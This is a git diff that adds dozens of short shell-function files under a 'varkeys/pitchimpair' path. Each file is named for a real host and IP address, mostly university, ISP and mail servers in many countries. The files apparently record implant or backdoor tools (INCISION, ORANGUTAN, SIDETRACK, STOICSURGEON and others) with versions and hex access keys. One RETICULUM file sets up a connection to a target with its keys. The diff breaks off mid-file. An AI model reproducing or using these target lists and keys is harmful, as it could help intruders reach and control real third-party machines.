a/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/incision b/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/incision new file mode 100644 index 0000000..70a0769 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___giada.ing.unirc.it___192.167.50.14___20030424-144321() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="e67bd879 0107a9b7 467fd886" +} diff --git a/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/orangutan b/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/orangutan new file mode 100644 index 0000000..f8aeac5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/giada.ing.unirc.it___192.167.50.14/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___giada.ing.unirc.it___192.167.50.14___20030424-144321() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="de971a16 54b47afc 2909659b" +} diff --git a/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/incision b/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/incision new file mode 100644 index 0000000..c512ce3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___hk.sun-ip.or.jp___150.27.1.5___20020503-112719() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="17a46133 1378224a d5e183b7" +} diff --git a/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/orangutan b/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/orangutan new file mode 100644 index 0000000..b7ed465 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/hk.sun-ip.or.jp___150.27.1.5/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___hk.sun-ip.or.jp___150.27.1.5___20020503-112719() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="20660129 7dc738b9 790a1da2" +} diff --git a/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/incision b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/incision new file mode 100644 index 0000000..8c4105c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___iconoce1.sarenet.es___194.30.0.16___20050307-184346() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="3c256e0a 0fbc627f 903581a6" +} diff --git a/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/orangutan b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/orangutan new file mode 100644 index 0000000..ebc8098 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___iconoce1.sarenet.es___194.30.0.16___20050307-184346() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="d4b7b00e 983c48fd dacfa234" +} diff --git a/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/patchicillin b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/patchicillin new file mode 100644 index 0000000..0135061 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/iconoce1.sarenet.es___194.30.0.16/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___iconoce1.sarenet.es___194.30.0.16___20050307-184346() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="b7b1d20a c957deae 4c4f060a" +} diff --git a/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/incision b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/incision new file mode 100644 index 0000000..be1a19d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20___20030708-151922() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="76d97f78 d66f71fc a2f6cd48" +} diff --git a/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/orangutan b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/orangutan new file mode 100644 index 0000000..4f06305 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20___20030708-151922() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="be77fa31 02f3ec4c 001d2ac7" +} diff --git a/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/sidetrack b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/sidetrack new file mode 100644 index 0000000..80e0eee --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20___20021125-151922() { + ## SIDETRACK Version:2.0 OS:sparc-sun-solaris2.8 + export CV="93f1ed3e 344edc58 e4cdb192 c086047b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/incision b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/incision new file mode 100644 index 0000000..64e4fee --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20050308-174411() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2528958b b8e22b7f d18334b9" +} diff --git a/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/orangutan b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/orangutan new file mode 100644 index 0000000..bb67cd3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20050308-174411() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="91f9098f f9b4c7fc 2e0b4926" +} diff --git a/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/patchicillin b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/patchicillin new file mode 100644 index 0000000..d8782de --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20050308-174411() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="e3810cce d16283b1 f644cb7a" +} diff --git a/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/sidetrack b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/sidetrack new file mode 100644 index 0000000..df279a0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ids2.int.ids.pl___195.117.3.32/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20050308-174411() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="46688a67 90fe6a7b f40c5281 d6dd8fc9" +} diff --git a/Linux/bin/varkeys/pitchimpair/info.ccs.net.mx___200.36.53.160/jackladder b/Linux/bin/varkeys/pitchimpair/info.ccs.net.mx___200.36.53.160/jackladder new file mode 100644 index 0000000..56c9cb9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/info.ccs.net.mx___200.36.53.160/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___info.ccs.net.mx___200.36.53.160___20010712-212828() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/dewdrop b/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/dewdrop new file mode 100644 index 0000000..89ee58b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___itellin1.eafix.net___212.49.95.133___20060901-132445() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/stoicsurgeon new file mode 100644 index 0000000..18fa273 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/itellin1.eafix.net___212.49.95.133/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___itellin1.eafix.net___212.49.95.133___20060901-132445() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/incision b/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/incision new file mode 100644 index 0000000..29ff039 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___iti-idsc.net.eg___163.121.12.2___20030807-171521() { + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="daa2e382 6562c43f 0b8956bf" +} diff --git a/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/orangutan b/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/orangutan new file mode 100644 index 0000000..edae664 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/iti-idsc.net.eg___163.121.12.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___iti-idsc.net.eg___163.121.12.2___20030807-171521() { + ## ORANGUTAN Version:1.4 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="ab8a51f2 14c71d0b d369d2da" +} diff --git a/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/dewdrop b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/dewdrop new file mode 100644 index 0000000..1f5e8fc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___jumi.hyunwoo.co.kr___211.232.97.217___20060606-103620() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon new file mode 100644 index 0000000..5c5126d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___jumi.hyunwoo.co.kr___211.232.97.217___20060606-103620() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 new file mode 100644 index 0000000..cadc040 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/jumi.hyunwoo.co.kr___211.232.97.217/stoicsurgeon v1.2.7.1 sparc-sun-solaris2.9 @@ -0,0 +1,4 @@ +PITCHIMPAIR___jumi.hyunwoo.co.kr___211.232.97.217___20070924-132442() { + ## STOICSURGEON V1.2.7.1 SPARC-SUN-SOLARIS2.9 Version:SUCTIONCHAR v2.0.8.7 sparc-sun-solaris2.9 OS:DEWDROP v3.0.2.1 sparc-sun-solaris + export CV="" +} diff --git a/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/dewdrop b/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/dewdrop new file mode 100644 index 0000000..5a989f0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___jupiter.mni.fh.giessen.de___212.201.7.17___20061201-151830() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/stoicsurgeon new file mode 100644 index 0000000..9309d1f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/jupiter.mni.fh.giessen.de___212.201.7.17/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___jupiter.mni.fh.giessen.de___212.201.7.17___20061201-151830() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/dewdrop b/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/dewdrop new file mode 100644 index 0000000..e9ff4d9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___kalliope.rz.unibw--muenchen.de___137.193.10.12___20070730-155815() { + ## DEWDROP Version:DEWDROP v3.0.2.1 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/stoicsurgeon new file mode 100644 index 0000000..3c1421c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/kalliope.rz.unibw--muenchen.de___137.193.10.12/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___kalliope.rz.unibw--muenchen.de___137.193.10.12___20070730-155815() { + ## STOICSURGEON Version:STOICSURGEON v1.1.38.1 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/incision b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/incision new file mode 100644 index 0000000..b03e75f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___kommsrv.RZ.UniBw-Muenchen.de___137.193.10.8___20050705-171558() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="aebd9d0b 16d5a8ba 4003ab97" +} diff --git a/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/orangutan b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/orangutan new file mode 100644 index 0000000..961eb69 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___kommsrv.RZ.UniBw-Muenchen.de___137.193.10.8___20050705-171558() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="4527bd59 ba8df744 cb72c05d" +} diff --git a/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/patchicillin b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/patchicillin new file mode 100644 index 0000000..d55035b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/kommsrv.rz.unibw-muenchen.de___137.193.10.8/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___kommsrv.RZ.UniBw-Muenchen.de___137.193.10.8___20050705-171558() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="05836fae 34f07039 5ffed817" +} diff --git a/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/incision b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/incision new file mode 100644 index 0000000..2f2a1b7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___logos.uba.uva.nl___145.18.84.96___20050830-155753() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="9612b0f0 7fd7c68c 67f6f2ba" +} diff --git a/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/orangutan b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/orangutan new file mode 100644 index 0000000..4eff93a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___logos.uba.uva.nl___145.18.84.96___20050830-155753() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="a5fbb9a6 63b09385 ea8c4799" +} diff --git a/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/patchicillin b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/patchicillin new file mode 100644 index 0000000..94685b4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/logos.uba.uva.nl___145.18.84.96/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___logos.uba.uva.nl___145.18.84.96___20050830-155753() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="9fd5ad67 979f609a 3f403d60" +} diff --git a/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/incision b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/incision new file mode 100644 index 0000000..a54f5dc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9b241b8b 25b2b914 871fe97f" +} diff --git a/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/orangutan b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/orangutan new file mode 100644 index 0000000..69ec8e9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="b2ddcf40 c330b0cb 166910b1" +} diff --git a/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/patchicillin b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/patchicillin new file mode 100644 index 0000000..4a3e8f4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="42ccb351 dd47a327 8925e53e" +} diff --git a/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/sidetrack b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/sidetrack new file mode 100644 index 0000000..64fccb0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ltv.com.ve___200.75.112.26/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="36782b71 19b1a901 a3099dc0 e9e152bc" +} diff --git a/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/dewdrop b/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/dewdrop new file mode 100644 index 0000000..ab01cce --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___m16.kazibao.net___213.41.77.50___20070529-124220() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/stoicsurgeon new file mode 100644 index 0000000..19c4f8d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/m16.kazibao.net___213.41.77.50/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___m16.kazibao.net___213.41.77.50___20070529-124220() { + ## STOICSURGEON Version:STOICSURGEON v1.1.24.3 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/incision b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/incision new file mode 100644 index 0000000..630558d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20050916-161008() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="44f8cc98 4a0c5b9f dc04d75a" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/jackladder b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/jackladder new file mode 100644 index 0000000..8a5b99f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20010313-132258() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/orangutan b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/orangutan new file mode 100644 index 0000000..5bfc5d1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20050916-161008() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="1a730705 ffde98e6 1d5340f2" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/patchicillin new file mode 100644 index 0000000..3380b85 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20050916-161008() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="d1c8fba8 cdd79272 a2424949" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/reticulum b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/reticulum new file mode 100644 index 0000000..c005259 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.a-1.net.cn___210.77.147.84/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20010313-132258() { + # + # RETICULUM Version:6.4 OS:sparc-sun-solaris2.7 Options:I,O + # + set host mail.a-1.net.cn + set ip 210.77.130.6 + set hostType "Solaris27" + set len 476 + set cv0 085e33b7 + set cv1 959eb53e + set cv2 6e20550c + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/dewdrop b/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/dewdrop new file mode 100644 index 0000000..e8aa628 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.bangla.net___203.188.252.3___20060728-102403() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/stoicsurgeon new file mode 100644 index 0000000..be8963e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.bangla.net___203.188.252.3/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.bangla.net___203.188.252.3___20060728-102403() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/incision b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/incision new file mode 100644 index 0000000..694df07 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.bhu.ac.in___202.141.107.15___20050629-115843() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="cb2c8f78 04ac605c d27d569f" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/orangutan b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/orangutan new file mode 100644 index 0000000..9a81b5e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.bhu.ac.in___202.141.107.15___20050629-115843() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="27fd9aaf fb21aa5c 33a1aeae" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/patchicillin b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/patchicillin new file mode 100644 index 0000000..9ef5b72 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.bhu.ac.in___202.141.107.15/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.bhu.ac.in___202.141.107.15___20050629-115843() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="b55cfd8b 0b2efdd9 2771a80f" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/dewdrop b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/dewdrop new file mode 100644 index 0000000..50e42d0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/incision b/Linux/bin/varkeys/pitchimpair/mail.btbu.edu.cn___211.82.112.23/incision new file mode 100644 index 0000000..173ba89 --- /dev/null +++ 